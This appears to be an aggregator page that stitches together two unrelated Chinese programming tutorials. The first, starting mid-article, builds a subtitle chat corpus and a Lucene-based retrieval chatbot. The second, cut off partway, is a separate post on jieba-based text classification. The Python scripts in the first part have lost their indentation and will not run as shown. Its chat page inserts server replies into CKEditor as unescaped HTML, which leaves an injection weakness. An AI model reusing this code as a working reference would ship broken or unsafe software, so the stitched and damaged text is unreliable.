      下载的字幕有zip格式和rar格式,因为数量比较多,需要做筛选分类,以便后面的处理,这步看似简单实则不易,因为要解决:文件多无法ls的问题、文件名带特殊字符的问题、文件名重名误覆盖问题、扩展名千奇百怪的问题,我写成了python脚本mv_zip.py如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      import glob
      import os
      import fnmatch
      import shutil
      import sys
      def iterfindfiles(path, fnexp):
      for root, dirs, files in os.walk(path):
      for filename in fnmatch.filter(files, fnexp):
      yield os.path.join(root, filename)
      i=0
      for filename in iterfindfiles(r"./input/", "*.zip"):
      i=i+1
      newfilename = "zip/" + str(i) + "_" + os.path.basename(filename)
      print filename + " <===> " + newfilename
      shutil.move(filename, newfilename)

      其中的扩展名根据压缩文件可能有的扩展名修改成*.rar*.RAR*.zip*.ZIP

      第三步:解压

      解压这一步需要根据所用的操作系统下载不同的解压工具,建议使用unrar和unzip,为了解决解压后文件名可能重名覆盖的问题,我总结出如下两句脚本来实现批量解压:

      1
      2
      i=0; for file in `ls`; do mkdir output/${i}; echo "unzip $file -d output/${i}";unzip -P abc $file -d output/${i} > /dev/null; ((i++)); done
      i=0; for file in `ls`; do mkdir output/${i}; echo "${i} unrar x $file output/${i}";unrar x $file output/${i} > /dev/null; ((i++)); done

      第四步:srt、ass、ssa字幕文件分类整理

      当你下载大量字幕并解压后你会发现字幕文件类型有很多种,包括srt、lrc、ass、ssa、sup、idx、str、vtt,但是整体量级上来看srt、ass、ssa占绝对优势,因此简单起见,我们抛弃掉其他格式,只保留这三种,具体分类整理的脚本可以参考第二部压缩格式分类的方法按扩展名整理

      第五步:清理目录

      在我边整理边分析的过程中发现,我为了避免重名把文件放到不同目录里后,如果再经过一步文件类型整理,会产生非常多的空目录,每次ls都要拉好几屏,所以写了一个自动清理空目录的脚本clear_empty_dir.py,如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      import glob
      import os
      import fnmatch
      import shutil
      import sys
      def iterfindfiles(path, fnexp):
      for root, dirs, files in os.walk(path):
      if 0 == len(files) and len(dirs) == 0:
      print root
      os.rmdir(root)
      iterfindfiles(r"./input/", "")

      第六步:清理非字幕文件

      在整个字幕文件分析过程中,总有很多其他文件干扰你的视线,比如txt、html、doc、docx,因为不是我们想要的,因此干脆直接干掉,批量删除脚本del_file.py如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      import glob
      import os
      import fnmatch
      import shutil
      import sys
      def iterfindfiles(path, fnexp):
      for root, dirs, files in os.walk(path):
      for filename in fnmatch.filter(files, fnexp):
      yield os.path.join(root, filename)
      for suffix in ("*.mp4", "*.txt", "*.JPG", "*.htm", "*.doc", "*.docx", "*.nfo", "*.sub", "*.idx"):
      for filename in iterfindfiles(r"./input/", suffix):
      print filename
      os.remove(filename)

      第七步:多层解压缩

      把抓取到的字幕压缩包解压后有的文件里面依然还有压缩包,继续解压才能看到字幕文件,因此上面这些步骤再来一次,不过要做好心理准备,没准需要再来n次!

      第八步:舍弃剩余的少量文件

      经过以上几步的处理后剩下一批无扩展名的、特殊扩展名如:“srt.简体”,7z等、少量压缩文件,总体不超过50M,想想伟大思想家马克思教导我们要抓主要矛盾,因此这部分我们直接抛弃掉

      第九步:编码识别与转码

      字幕文件就是这样的没有规范,乃至于各种编码齐聚,什么utf-8、utf-16、gbk、unicode、iso8859琳琅满目应有尽有,我们要统一到一种编码方便使用,索性我们统一到utf-8,get_charset_and_conv.py如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      import chardet
      import sys
      import os
      if __name__ == '__main__':
      if len(sys.argv) == 2:
      for root, dirs, files in os.walk(sys.argv[1]):
      for file in files:
      file_path = root + "/" + file
      f = open(file_path,'r')
      data = f.read()
      f.close()
      encoding = chardet.detect(data)["encoding"]
      if encoding not in ("UTF-8-SIG", "UTF-16LE", "utf-8", "ascii"):
      try:
      gb_content = data.decode("gb18030")
      gb_content.encode('utf-8')
      f = open(file_path, 'w')
      f.write(gb_content.encode('utf-8'))
      f.close()
      except:
      print "except:", file_path

      第十步:筛选中文

      考虑到我朝广大人民的爱国热情,我只做中文,所以什么英文、韩文、日文、俄文、火星文、鸟语……全都不要,参考extract_sentence_srt.py如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      # coding:utf-8
      import chardet
      import os
      import re
      cn=ur"([\u4e00-\u9fa5]+)"
      pattern_cn = re.compile(cn)
      jp1=ur"([\u3040-\u309F]+)"
      pattern_jp1 = re.compile(jp1)
      jp2=ur"([\u30A0-\u30FF]+)"
      pattern_jp2 = re.compile(jp2)
      for root, dirs, files in os.walk("./srt"):
      file_count = len(files)
      if file_count > 0:
      for index, file in enumerate(files):
      f = open(root + "/" + file, "r")
      content = f.read()
      f.close()
      encoding = chardet.detect(content)["encoding"]
      try:
      for sentence in content.decode(encoding).split('\n'):
      if len(sentence) > 0:
      match_cn = pattern_cn.findall(sentence)
      match_jp1 = pattern_jp1.findall(sentence)
      match_jp2 = pattern_jp2.findall(sentence)
      sentence = sentence.strip()
      if len(match_cn)>0 and len(match_jp1)==0 and len(match_jp2) == 0 and len(sentence)>1 and len(sentence.split(' ')) < 10:
      print sentence.encode('utf-8')
      except:
      continue

      第十一步:字幕中的句子提取

      不同格式的字幕有特定的格式,除了句子之外还有很多字幕的控制语句,我们一律过滤掉,只提取我们想要的重点内容,因为不同的格式都不一样,在这里不一一举例了,感兴趣可以去我的github查看,在这里单独列出ssa格式字幕的部分代码供参考:

      1
      2
      3
      4
      5
      6
      if line.find('Dialogue') == 0 and len(line) < 500:
      fields = line.split(',')
      sentence = fields[len(fields)-1]
      tag_fields = sentence.split('}')
      if len(tag_fields) > 1:
      sentence = tag_fields[len(tag_fields)-1]

      第十二步:内容过滤

      经过上面几步的处理,其实已经形成了完整的语料库了,只是里面还有一些不像聊天的内容我们需要进一步做优化,包括:过滤特殊的unicode字符、过滤特殊的关键词(如:字幕、时间轴、校对……)、去除字幕样式标签、去除html标签、去除连续特殊字符、去除转义字符、去除剧集信息等,具体代码如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      # coding:utf-8
      import sys
      import re
      import chardet
      if __name__ == '__main__':
      #illegal=ur"([\u2000-\u2010]+)"
      illegal=ur"([\u0000-\u2010]+)"
      pattern_illegals = [re.compile(ur"([\u2000-\u2010]+)"), re.compile(ur"([\u0090-\u0099]+)")]
      filters = ["字幕", "时间轴:", "校对:", "翻译:", "后期:", "监制:"]
      filters.append("时间轴:")
      filters.append("校对:")
      filters.append("翻译:")
      filters.append("后期:")
      filters.append("监制:")
      filters.append("禁止用作任何商业盈利行为")
      filters.append("http")
      htmltagregex = re.compile(r'<[^>]+>',re.S)
      brace_regex = re.compile(r'\{.*\}',re.S)
      slash_regex = re.compile(r'\\\w',re.S)
      repeat_regex = re.compile(r'[-=]{10}',re.S)
      f = open("./corpus/all.out", "r")
      count=0
      while True:
      line = f.readline()
      if line:
      line = line.strip()
      # 编码识别,不是utf-8就过滤
      gb_content = ''
      try:
      gb_content = line.decode("utf-8")
      except Exception as e:
      sys.stderr.write("decode error: ", line)
      continue
      # 中文识别,不是中文就过滤
      need_continue = False
      for pattern_illegal in pattern_illegals:
      match_illegal = pattern_illegal.findall(gb_content)
      if len(match_illegal) > 0:
      sys.stderr.write("match_illegal error: %s\n" % line)
      need_continue = True
      break
      if need_continue:
      continue
      # 关键词过滤
      need_continue = False
      for filter in filters:
      try:
      line.index(filter)
      sys.stderr.write("filter keyword of %s %s\n" % (filter, line))
      need_continue = True
      break
      except:
      pass
      if need_continue:
      continue
      # 去掉剧集信息
      if re.match('.*第.*季.*', line):
      sys.stderr.write("filter copora %s\n" % line)
      continue
      if re.match('.*第.*集.*', line):
      sys.stderr.write("filter copora %s\n" % line)
      continue
      if re.match('.*第.*帧.*', line):
      sys.stderr.write("filter copora %s\n" % line)
      continue
      # 去html标签
      line = htmltagregex.sub('',line)
      # 去花括号修饰
      line = brace_regex.sub('', line)
      # 去转义
      line = slash_regex.sub('', line)
      # 去重复
      new_line = repeat_regex.sub('', line)
      if len(new_line) != len(line):
      continue
      # 去特殊字符
      line = line.replace('-', '').strip()
      if len(line) > 0:
      sys.stdout.write("%s\n" % line)
      count+=1
      else:
      break
      f.close()
      pass

      数据样例如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      这是什么
      是寄给医院的
      井崎…为什么?
      是为了小雪的事情
      怎么回事?
      您不记得了吗
      在她说小雪…
      就是在这种非常时期和我们一起舍弃休息时间来工作的护士失踪时…
      医生 小雪她失踪了
      你不是回了一句「是吗」吗
      是吗…
      不 对不起
      跟我道歉也没用啊
      而且我们都知道您是因为夫人的事情而操劳
      但是 我想小聪是受不了医生一副漠不关心的样子
      事到如今再责备医生也没有用了
      是我的错吗…
      我就是这个意思 您听不出来吗
      我也难以接受
      ……

      第一版聊天机器人诞生——吃了字幕长大的小二兔

      在上一节中我分享了建设好的影视剧字幕聊天语料库,本节基于这个语料库开发我们的聊天机器人,因为是第一版,所以机器人的思绪还有点小乱,答非所问、驴唇不对马嘴得比较搞笑,大家凑合玩

      第一版思路

      首先要考虑到我的影视剧字幕聊天语料库特点,它是把影视剧里面的说话内容一句一句以回车换行罗列的三千多万条中国话,那么相邻的第二句其实就很可能是第一句的最好的回答,另外,如果对于一个问句有很多种回答,那么我们可以根据相关程度以及历史聊天记录来把所有回答排个序,找到最优的那个,这么说来这是一个搜索和排序的过程。对!没错!我们可以借助搜索技术来做第一版。

      lucene+ik

      lucene是一款开源免费的搜索引擎库,java语言开发。ik全称是IKAnalyzer,是一个开源中文切词工具。我们可以利用这两个工具来对语料库做切词建索引,并通过文本搜索的方式做文本相关性检索,然后把下一句取出来作为答案候选集,然后再通过各种方式做答案排序,当然这个排序是很有学问的,聊天机器人有没有智能一半程度上体现在了这里(还有一半体现在对问题的分析上),本节我们的主要目的是打通这一套机制,至于“智能”这件事我们以后逐个拆解开来不断研究

      建索引

      首先用eclipse创建一个maven工程,如下:

      maven帮我们自动生成了pom.xml文件,这配置了包依赖信息,我们在dependencies标签中添加如下依赖:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      <dependency>
      <groupId>org.apache.lucene</groupId>
      <artifactId>lucene-core</artifactId>
      <version>4.10.4</version>
      </dependency>
      <dependency>
      <groupId>org.apache.lucene</groupId>
      <artifactId>lucene-queryparser</artifactId>
      <version>4.10.4</version>
      </dependency>
      <dependency>
      <groupId>org.apache.lucene</groupId>
      <artifactId>lucene-analyzers-common</artifactId>
      <version>4.10.4</version>
      </dependency>
      <dependency>
      <groupId>io.netty</groupId>
      <artifactId>netty-all</artifactId>
      <version>5.0.0.Alpha2</version>
      </dependency>
      <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.1.41</version>
      </dependency>

      并在project标签中增加如下配置,使得依赖的jar包都能自动拷贝到lib目录下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      <build>
      <plugins>
      <plugin>
      <groupId>org.apache.maven.plugins</groupId>
      <artifactId>maven-dependency-plugin</artifactId>
      <executions>
      <execution>
      <id>copy-dependencies</id>
      <phase>prepare-package</phase>
      <goals>
      <goal>copy-dependencies</goal>
      </goals>
      <configuration>
      <outputDirectory>${project.build.directory}/lib</outputDirectory>
      <overWriteReleases>false</overWriteReleases>
      <overWriteSnapshots>false</overWriteSnapshots>
      <overWriteIfNewer>true</overWriteIfNewer>
      </configuration>
      </execution>
      </executions>
      </plugin>
      <plugin>
      <groupId>org.apache.maven.plugins</groupId>
      <artifactId>maven-jar-plugin</artifactId>
      <configuration>
      <archive>
      <manifest>
      <addClasspath>true</addClasspath>
      <classpathPrefix>lib/</classpathPrefix>
      <mainClass>theMainClass</mainClass>
      </manifest>
      </archive>
      </configuration>
      </plugin>
      </plugins>
      </build>

      https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/ik-analyzer/IK%20Analyzer%202012FF_hf1_source.rar下载ik的源代码并把其中的src/org目录拷贝到chatbotv1工程的src/main/java下,然后刷新maven工程,效果如下:

      在com.shareditor.chatbotv1包下maven帮我们自动生成了App.java,为了辨识我们改成Indexer.java,关键代码如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      Analyzer analyzer = new IKAnalyzer(true);
      IndexWriterConfig iwc = new IndexWriterConfig(Version.LUCENE_4_9, analyzer);
      iwc.setOpenMode(OpenMode.CREATE);
      iwc.setUseCompoundFile(true);
      IndexWriter indexWriter = new IndexWriter(FSDirectory.open(new File(indexPath)), iwc);
      BufferedReader br = new BufferedReader(new InputStreamReader(
      new FileInputStream(corpusPath), "UTF-8"));
      String line = "";
      String last = "";
      long lineNum = 0;
      while ((line = br.readLine()) != null) {
      line = line.trim();
      if (0 == line.length()) {
      continue;
      }
      if (!last.equals("")) {
      Document doc = new Document();
      doc.add(new TextField("question", last, Store.YES));
      doc.add(new StoredField("answer", line));
      indexWriter.addDocument(doc);
      }
      last = line;
      lineNum++;
      if (lineNum % 100000 == 0) {
      System.out.println("add doc " + lineNum);
      }
      }
      br.close();
      indexWriter.forceMerge(1);
      indexWriter.close();

      编译好后拷贝src/main/resources下的所有文件到target目录下,并在target目录下执行

      1
      java -cp $CLASSPATH:./lib/:./chatbotv1-0.0.1-SNAPSHOT.jar com.shareditor.chatbotv1.Indexer ../../subtitle/raw_subtitles/subtitle.corpus ./index

      最终生成的索引目录index通过lukeall-4.9.0.jar查看如下:

      检索服务

      基于netty创建一个http服务server,代码共享在https://github.com/warmheartli/ChatBotCourse的chatbotv1目录下,关键代码如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      Analyzer analyzer = new IKAnalyzer(true);
      QueryParser qp = new QueryParser(Version.LUCENE_4_9, "question", analyzer);
      if (topDocs.totalHits == 0) {
      qp.setDefaultOperator(Operator.AND);
      query = qp.parse(q);
      System.out.println(query.toString());
      indexSearcher.search(query, collector);
      topDocs = collector.topDocs();
      }
      if (topDocs.totalHits == 0) {
      qp.setDefaultOperator(Operator.OR);
      query = qp.parse(q);
      System.out.println(query.toString());
      indexSearcher.search(query, collector);
      topDocs = collector.topDocs();
      }
      ret.put("total", topDocs.totalHits);
      ret.put("q", q);
      JSONArray result = new JSONArray();
      for (ScoreDoc d : topDocs.scoreDocs) {
      Document doc = indexSearcher.doc(d.doc);
      String question = doc.get("question");
      String answer = doc.get("answer");
      JSONObject item = new JSONObject();
      item.put("question", question);
      item.put("answer", answer);
      item.put("score", d.score);
      item.put("doc", d.doc);
      result.add(item);
      }
      ret.put("result", result);

      其实就是查询建好的索引,通过query词做切词拼lucene query,然后检索索引的question字段,匹配上的返回answer字段的值作为候选集,使用时挑出候选集里的一条作为答案

      这个server可以通过http访问,如http://127.0.0.1:8765/?q=hello(注意:如果是中文需要转成urlcode发送,因为java端读取时按照urlcode解析),server的启动方法是:

      1
      java -cp $CLASSPATH:./lib/:./chatbotv1-0.0.1-SNAPSHOT.jar com.shareditor.chatbotv1.Searcher

      聊天界面

      先看下我们的界面是什么样的,然后再说怎么做的

      首先需要有一个可以展示聊天内容的框框,我们选择ckeditor,因为它支持html格式内容的展示,然后就是一个输入框和发送按钮,html代码如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      <div class="col-sm-4 col-xs-10">
      <div class="row">
      <textarea id="chatarea">
      <div style='color: blue; text-align: left; padding: 5px;'>机器人: 喂,大哥您好,您终于肯跟我聊天了,来侃侃呗,我来者不拒!</div>
      <div style='color: blue; text-align: left; padding: 5px;'>机器人: 啥?你问我怎么这么聪明会聊天?因为我刚刚吃了一堆影视剧字幕!</div>
      </textarea>
      </div>
      <br />
      <div class="row">
      <div class="input-group">
      <input type="text" id="input" class="form-control" autofocus="autofocus" onkeydown="submitByEnter()" />
      <span class="input-group-btn">
      <button class="btn btn-default" type="button" onclick="submit()">发送</button>
      </span>
      </div>
      </div>
      </div>
      <script type="text/javascript">
      CKEDITOR.replace('chatarea',
      {
      readOnly: true,
      toolbar: ['Source'],
      height: 500,
      removePlugins: 'elementspath',
      resize_enabled: false,
      allowedContent: true
      });
      </script>

      为了调用上面的聊天server,需要实现一个发送请求获取结果的控制器,如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      public function queryAction(Request $request)
      {
      $q = $request->get('input');
      $opts = array(
      'http'=>array(
      'method'=>"GET",
      'timeout'=>60,
      )
      );
      $context = stream_context_create($opts);
      $clientIp = $request->getClientIp();
      $response = file_get_contents('http://127.0.0.1:8765/?q=' . urlencode($q) . '&clientIp=' . $clientIp, false, $context);
      $res = json_decode($response, true);
      $total = $res['total'];
      $result = '';
      if ($total > 0) {
      $result = $res['result'][0]['answer'];
      }
      return new Response($result);
      }

      这个控制器的路由配置为:

      1
      2
      3
      chatbot_query:
      path: /chatbot/query
      defaults: { _controller: AppBundle:ChatBot:query }

      因为聊天server响应时间比较长,为了不导致web界面卡住,我们在执行submit的时候异步发请求和收结果,如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      var xmlHttp;
      function submit() {
      if (window.ActiveXObject) {
      xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
      }
      else if (window.XMLHttpRequest) {
      xmlHttp = new XMLHttpRequest();
      }
      var input = $("#input").val().trim();
      if (input == '') {
      jQuery('#input').val('');
      return;
      }
      addText(input, false);
      jQuery('#input').val('');
      var datastr = "input=" + input;
      datastr = encodeURI(datastr);
      var url = "/chatbot/query";
      xmlHttp.open("POST", url, true);
      xmlHttp.onreadystatechange = callback;
      xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      xmlHttp.send(datastr);
      }
      function callback() {
      if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
      var responseText = xmlHttp.responseText;
      addText(responseText, true);
      }
      }

      这里的addText是往ckeditor里添加一段文本,方法如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      function addText(text, is_response) {
      var oldText = CKEDITOR.instances.chatarea.getData();
      var prefix = '';
      if (is_response) {
      prefix = "<div style='color: blue; text-align: left; padding: 5px;'>机器人: "
      } else {
      prefix = "<div style='color: darkgreen; text-align: right; padding: 5px;'>我: "
      }
      CKEDITOR.instances.chatarea.setData(oldText + "" + prefix + text + "</div>");
      }

      以上所有代码全都共享在https://github.com/warmheartli/ChatBotCoursehttps://github.com/warmheartli/shareditor.com中供参考

      python 中文文本分类 - CSDN博客

      $
      0
      0

      一,中文文本分类流程:

      1,预处理

      2,中文分词

      3,结构化表示--构建词向量空间

      4,权重策略--TF-IDF

      5,分类器

      6,评价



      二,具体细节

      1,预处理。希望得到这样的目标:

      1.1得到训练集语料库

      即已经分好类的文本资料(例如:语料库里是一系列txt文章,这些文章按照主题归入到不同分类的目录中,如 .\art\21.txt)

      推荐语料库:复旦中文文本分类语料库,下载链接:http://download.csdn.net/detail/github_36326955/9747927

      将下载的语料库解压后,请自己修改文件名和路径,例如路径可以设置为 ./train_corpus/,

      其下则是各个类别目录如:./train_corpus/C3-Art,……,\train_corpus\C39-Sports

      1.2得到测试语料库

      也是已经分好类的文本资料,与1.1类型相同,只是里面的文档不同,用于检测算法的实际效果。测试预料可以从1.1中的训练预料中随机抽取,也可以下载独立的测试语料库,复旦中文文本分类语料库测试集链接:http://download.csdn.net/detail/github_36326955/9747929

      路径修改参考1.1,例如可以设置为 ./test_corpus/

      1.3其他

      你可能希望从自己爬取到的网页等内容中获取新文本,用本节内容进行实际的文本分类,这时候,你可能需要将html标签去除来获取文本格式的文档,这里提供一个基于python 和lxml的样例代码:

      #!/usr/bin/env python
      # -*- coding: UTF-8 -*-
      """
      @version: python2.7.8 
      @author: XiangguoSun
      @contact: sunxiangguodut@qq.com
      @file: html_demo.py
      @time: 2017/2/6 12:25
      @software: PyCharm
      """
      import sys
      from lxml import html
      # 设置utf-8 unicode环境
      reload(sys)
      sys.setdefaultencoding('utf-8')
      def html2txt(path):
          with open(path,"rb") as f:
              content=f.read() 
          r'''上面两行是python2.6以上版本增加的语法,省略了繁琐的文件close和try操作
          2.5版本需要from __future__ import with_statement新手可以参考这个链接来学习http://zhoutall.com/archives/325
          '''
          page = html.document_fromstring(content) # 解析文件
          text = page.text_content() # 去除所有标签
          return text
      if __name__  =="__main__":
          # htm文件路径,以及读取文件
          path = "1.htm"
          text=html2txt(path)
          print text	 # 输出去除标签后解析结果




      2,中文分词。

      本小节的目标是:

      1,告诉你中文分词的实际操作。

      2,告诉你中文分词的算法。





      2.1概述

      第1小节预处理中的语料库都是没有分词的原始语料(即连续的句子,而后面的工作需要我们把文本分为一个个单词),现在需要对这些文本进行分词,只有这样,才能在 基于单词的基础上,对文档进行结构化表示。

      中文分词有其特有的难点(相对于英文而言),最终完全解决中文分词的算法是基于概率图模型的条件随机场(CRF)。(可以参考博主的另一篇博文)

      当然,在实际操作中,即使你对于相关算法不甚了解,也不影响你的操作,中文分词的工具有很多。但是比较著名的几个都是基于java的,这里推荐python的第三方库jieba(所采用的算法就是条件随机场)。对于非专业文档绰绰有余。如果你有强迫症,希望得到更高精度的分词工具,可以使用开源项目Anjs(基于java),你可以将这个开源项目与python整合。

      关于分词库的更多讨论可以参考这篇文章:https://www.zhihu.com/question/19651613



      你可以通过pip安装jieba:打开cmd,切换到目录  .../python/scripts/,执行命令:pip install jieba

      或者你也可以在集成开发平台上安装jieba,例如,如果你用的是pycharm,可以点击file-settings-project:xxx-Projuect Interpreter.其他平台也都有类似的安装方法。



      2.2分词操作

      不要担心下面的代码你看不懂,我会非常详细的进行讲解,确保python入门级别水平的人都可以看懂:

      2.2.1

      首先讲解jieba分词使用方法(详细的和更进一步的,可以参考这个链接):

      jieba.cut 方法接受三个输入参数: 需要分词的字符串;cut_all 参数用来控制是否采用全模式;HMM 参数用来控制是否使用 HMM 模型
      jieba.cut_for_search 方法接受两个参数:需要分词的字符串;是否使用 HMM 模型。该方法适合用于搜索引擎构建倒排索引的分词,粒度比较细
      待分词的字符串可以是 unicode 或 UTF-8 字符串、GBK 字符串。注意:不建议直接输入 GBK 字符串,可能无法预料地错误解码成 UTF-8
      jieba.cut 以及 jieba.cut_for_search 返回的结构都是一个可迭代的 generator,可以使用 for 循环来获得分词后得到的每一个词语(unicode),或者用
      jieba.lcut 以及 jieba.lcut_for_search 直接返回 list
      jieba.Tokenizer(dictionary=DEFAULT_DICT) 新建自定义分词器,可用于同时使用不同词典。jieba.dt 为默认分词器,所有全局分词相关函数都是该分词器的映射。
      实例代码:

      import jieba
      seg_list = jieba.cut("我来到北京清华大学", cut_all=True)
      print("Full Mode: " + "/ ".join(seg_list))  # 全模式
      seg_list = jieba.cut("我来到北京清华大学", cut_all=False)
      print("Default Mode: " + "/ ".join(seg_list))  # 精确模式
      seg_list = jieba.cut("他来到了网易杭研大厦")  # 默认是精确模式
      print(", ".join(seg_list))
      seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所,后在日本京都大学深造")  # 搜索引擎模式
      print(", ".join(seg_list))


      输出:
      【全模式】: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学
      【精确模式】: 我/ 来到/ 北京/ 清华大学
      【新词识别】:他, 来到, 了, 网易, 杭研, 大厦    (此处,“杭研”并没有在词典中,但是也被Viterbi算法识别出来了)
      【搜索引擎模式】: 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大



      2.2.2

      接下来,我们将要通过python编程,来将1.1节中的 ./train_corpus/原始训练语料库和1.2节中的./test_corpus/原始测试语料库进行分词,分词后保存的路径可以设置为

      ./train_corpus_seg/和./test_corpus_seg/

      代码如下,思路很简单,就是遍历所有的txt文本,然后将每个文本依次进行分词。你唯一需要注意的就是写好自己的路径,不要出错。下面的代码已经给出了非常详尽的解释,初学者也可以看懂。如果你还没有明白,或者在运行中出现问题(其实根本不可能出现问题,我写的代码,质量很高的。。。),都可以发邮件给我,邮件地址在代码中,或者在博文下方评论中给出。



      #!/usr/bin/env python
      # -*- coding: UTF-8 -*-
      """
      @version: python2.7.8 
      @author: XiangguoSun
      @contact: sunxiangguodut@qq.com
      @file: corpus_segment.py
      @time: 2017/2/5 15:28
      @software: PyCharm
      """
      import sys
      import os
      import jieba
      # 配置utf-8输出环境
      reload(sys)
      sys.setdefaultencoding('utf-8')
      # 保存至文件
      def savefile(savepath, content):
          with open(savepath, "wb") as fp:
              fp.write(content)
          '''上面两行是python2.6以上版本增加的语法,省略了繁琐的文件close和try操作
          2.5版本需要from __future__ import with_statement新手可以参考这个链接来学习http://zhoutall.com/archives/325
          '''
      # 读取文件
      def readfile(path):
          with open(path, "rb") as fp:
              content = fp.read()
          return content
      def corpus_segment(corpus_path, seg_path):
          '''
          corpus_path是未分词语料库路径
          seg_path是分词后语料库存储路径
          '''
          catelist = os.listdir(corpus_path)  # 获取corpus_path下的所有子目录
          '''其中子目录的名字就是类别名,例如:
          train_corpus/art/21.txt中,'train_corpus/'是corpus_path,'art'是catelist中的一个成员
          '''
          # 获取每个目录(类别)下所有的文件
          for mydir in catelist:
              '''这里mydir就是train_corpus/art/21.txt中的art(即catelist中的一个类别)
              '''
              class_path = corpus_path + mydir + "/"  # 拼出分类子目录的路径如:train_corpus/art/
              seg_dir = seg_path + mydir + "/"  # 拼出分词后存贮的对应目录路径如:train_corpus_seg/art/
              if not os.path.exists(seg_dir):  # 是否存在分词目录,如果没有则创建该目录
                  os.makedirs(seg_dir)
              file_list = os.listdir(class_path)  # 获取未分词语料库中某一类别中的所有文本
              '''
              train_corpus/art/中的
              21.txt,
              22.txt,
              23.txt
              ...
              file_list=['21.txt','22.txt',...]
              '''
              for file_path in file_list:  # 遍历类别目录下的所有文件
                  fullname = class_path + file_path  # 拼出文件名全路径如:train_corpus/art/21.txt
                  content = readfile(fullname)  # 读取文件内容
                  '''此时,content里面存贮的是原文本的所有字符,例如多余的空格、空行、回车等等,接下来,我们需要把这些无关痛痒的字符统统去掉,变成只有标点符号做间隔的紧凑的文本内容
                  '''
                  content = content.replace("\r\n", "")  # 删除换行
                  content = content.replace(" ", "")#删除空行、多余的空格
                  content_seg = jieba.cut(content)  # 为文件内容分词
                  savefile(seg_dir + file_path, " ".join(content_seg))  # 将处理后的文件保存到分词后语料目录
          print "中文语料分词结束!!!"
      '''
      如果你对if __name__=="__main__":这句不懂,可以参考下面的文章
      http://imoyao.lofter.com/post/3492bc_bd0c4ce
      简单来说如果其他python文件调用这个文件的函数,或者把这个文件作为模块
      导入到你的工程中时,那么下面的代码将不会被执行,而如果单独在命令行中
      运行这个文件,或者在IDE(如pycharm)中运行这个文件时候,下面的代码才会运行。
      即,这部分代码相当于一个功能测试。
      如果你还没懂,建议你放弃IT这个行业。
      '''
      if __name__=="__main__":
          #对训练集进行分词
          corpus_path = "./train_corpus/"  # 未分词分类语料库路径
          seg_path = "./train_corpus_seg/"  # 分词后分类语料库路径
          corpus_segment(corpus_path,seg_path)
          #对测试集进行分词
          corpus_path = "./test_corpus/"  # 未分词分类语料库路径
          seg_path = "./test_corpus_seg/"  # 分词后分类语料库路径
          corpus_segment(corpus_path,seg_path)




      截止目前,我们已经得到了分词后的训练集语料库和测试集语料库,下面我们要把这两个数据集表示为变量,从而为下面程序调用提供服务。我们采用的是Scikit-Learn库中的Bunch数据结构来表示这两个数据集。你或许对于Scikit-Learn和Bunch并不是特别了解,而官方的技术文档有两千多页你可能也没耐心去看,好在你们有相国大人。下面我们 以这两个数据集为背景,对Bunch做一个非常通俗的讲解,肯定会让你一下子就明白。

      首先来看看Bunch:

      Bunch这玩意儿,其实就相当于python中的字典。你往里面传什么,它就存什么。

      好了,解释完了。

      是不是很简单?

      在本篇博文中,你对Bunch能够有这种层次的理解,就足够了。如果你想继续详细透彻的理解Bunch,请见博主的另一篇博文《暂时还没写,写完在这里更新链接》



      接下来,让我们看看的我们的数据集(训练集)有哪些信息:

      1,类别,也就是所有分类类别的集合,即我们./train_corpus_seg/和./test_corpus_seg/下的所有子目录的名字。我们在这里不妨把它叫做target_name(这是一个列表)

